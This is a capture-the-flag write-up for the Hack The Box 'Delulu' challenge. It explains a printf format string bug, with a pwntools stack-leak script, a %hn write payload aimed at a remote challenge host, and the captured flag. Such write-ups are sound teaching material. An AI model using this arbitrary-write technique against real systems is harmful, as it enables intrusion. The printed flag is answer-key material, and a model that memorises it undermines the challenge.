Delulu
- Difficulty: Very Easy
- Technique:
Fromat String
HALT! Recognition protocol initiated. Please present your face for scanning.
Approach
Check protections
Command:
$ checksec --file=delulu
Output:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
All protections are enabled.
Disassemble binary
flag function's pseudocode:
unsigned __int64 delulu()
{
char buf; // [rsp+3h] [rbp-Dh] BYREF
int fd; // [rsp+4h] [rbp-Ch]
unsigned __int64 v3; // [rsp+8h] [rbp-8h]
v3 = __readfsqword(0x28u);
fd = open("./flag.txt", 0);
if ( fd < 0 )
{
perror("\nError opening flag.txt, please contact an Administrator.\n");
exit(1);
}
printf("You managed to deceive the robot, here's your new identity: ");
while ( read(fd, &buf, 1uLL) > 0 )
fputc(buf, _bss_start);
close(fd);
return v3 - __readfsqword(0x28u);
}
On reaching this function, opens and print the flag to standard output.
main function's pseudo-code:
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 v4[2]; // [rsp+0h] [rbp-40h] BYREF
__int64 buf[6]; // [rsp+10h] [rbp-30h] BYREF
buf[5] = __readfsqword(0x28u);
v4[0] = 0x1337BABELL;
v4[1] = (__int64)v4;
buf[0] = 0LL;
buf[1] = 0LL;
buf[2] = 0LL;
buf[3] = 0LL;
read(0, buf, 31uLL);
printf("\n[!] Checking.. ");
printf((const char *)buf);
if ( v4[0] == 0x1337BEEF )
delulu();
else
error("ALERT ALERT ALERT ALERT\n");
return 0;
}
Observations
Initial observation: simple buffer overflow vulnerability.
At first glance, by overflowing the buf
variable, it should allow us to tamper with v4
value and overwrite it with 0x1337BEEF
to get the flag. However, analysing it in gdb made me realise that the buffer is overflowing the other direction. In other words, it is not overflowing into v4
.
Further observation: printf without a format specifier.
From this observation, we could potentially perform arbituary reads and writes from and to the stack. Since the flag is not stored on the stack, the flag could not be obtain from leaking stack values. Instead, we can perform writes to the stack instead, using the %n
format specifier. Using the %n
format specifier we could overwrite the value stored in v4
to 0x1337BEEF
to get the flag. But in order to do so, we have first obtain the stack offset which the value in v4
is occupying. We can do so by leaking the stack values at various offset using the %<offset>$p
specifier.
Leaking the stack values to determine offset of v4
using this script:
from pwn import *
elf = context.binary = ELF('./delulu')
# leak stack
for i in range(0,30):
r = elf.process(level='error')
r.recvline()
r.sendline(b'AAAA %%%d$p' % i)
r.recvuntil(b'[!] Checking.. ')
print("%d - %s" % (i, r.recvuntil(b'\n').strip()))
Output:
0 - b'AAAA %0$p'
1 - b'AAAA 0x7ffffc103dc0'
2 - b'AAAA (nil)'
3 - b'AAAA 0x7f269e08f5dc'
4 - b'AAAA 0x10'
5 - b'AAAA 0x7fffffff'
6 - b'AAAA 0x1337babe'
7 - b'AAAA 0x7fffd7412dc0'
8 - b'AAAA 0x2438252041414141'
9 - b'AAAA 0xa70'
10 - b'AAAA (nil)'
11 - b'AAAA (nil)'
12 - b'AAAA 0x1000'
13 - b'AAAA 0x546fd77ec3fbcd00'
14 - b'AAAA 0x1'
15 - b'AAAA 0x7f2d835e9d90'
16 - b'AAAA 0x7ff9196cb803'
17 - b'AAAA 0x7f4cf67b644a'
18 - b'AAAA 0x1dfa18070'
19 - b'AAAA 0x7fffe623c528'
20 - b'AAAA (nil)'
21 - b'AAAA 0xb0de010509f3c0c9'
22 - b'AAAA 0x7ffff139aad8'
23 - b'AAAA 0x7f88eb24544a'
24 - b'AAAA 0x7ffbf8b06d68'
25 - b'AAAA 0x7ff23262a040'
26 - b'AAAA 0xd8481573afc91199'
27 - b'AAAA 0xb339d172d9b538da'
28 - b'AAAA 0x7fff00000000'
29 - b'AAAA (nil)'
From the output, we can observe that our input is stored at
stack offset 8
, and the pointer tov4
is stored atstack offset 7
. At this point, I recalled that most format string challenges performs writes to arbituary addresses, where the address of the location to write to is known (or can be found). However, in this challenge, as the Address Space Layout Randomisation (ASLR) is enabled, the stack address is not constant, and thus we cannot obtain the physical address ofv4
from the binary.Furthermore, the overflowing of the buffer does not overwrite the return address, hence, we could not utilise Return Oriented Programming (ROP) to return the main function again after leaking the physical address of
v4
. At this point, I got stuck and decided to revist the workings of the%n
format specifier.Learning points: Like
%s
,%n
performs dereferencing of the address stored on the stack offset, and write the length of the string preceding it to that dereferenced address. Credits to this article.
Exploit
Writing to an arbituary address relies on the stack offset of our input (stack offset 8
in this challenge). This is to allow us to specify the address to write to in our input. However, in this challenge, it is slightly different, as we do not have an address to specify. We noticed at stack offset 7
that it contains the address that stores the value we want to overwrite in order to get the flag. Therefore, we could simply overwrite the value stored in v4
using <length_of_bytes>%7$n
payload.
Breakdown of payload:
<length_of_bytes>
-0x1337BEEF
%7$n
- deferences the address stored instack offset 7
and write<length_of_bytes>
to it
To specify the <length_of_bytes>
, we could utilise %<length_of_bytes>x
to write 0x1337BEEF
bytes to standard output for %n
to count. However, writing 0x1337BEEF
bytes to standard output is impossible. Hence, we utilise another trick - %hn
- and split 0x1337BEEF
into high (0x1337
) and low (0xBEEF
) order bytes. Splitting into high and low order bytes is well-explained in this article. Instead of directly writing 4 bytes of the value, using h (short)
allows us to write 2 short bytes.
By doing so, we have managed to obtain the flag.
Remarks: Deeper understanding on how to exploit format string vulnerability with arbitrary writes (
%n
).
Script
from pwn import *
elf = context.binary = ELF('./delulu')
r = remote('94.237.62.252', 55219)
# r = elf.process()
# r = gdb.debug('./delulu', gdbscript='''
# break * main+138''')
payload = b'%4919x' + b'%43960x' + b'%7$hn'
r.sendline(payload)
r.interactive()
Flag
HTB{m45t3r_0f_d3c3pt10n}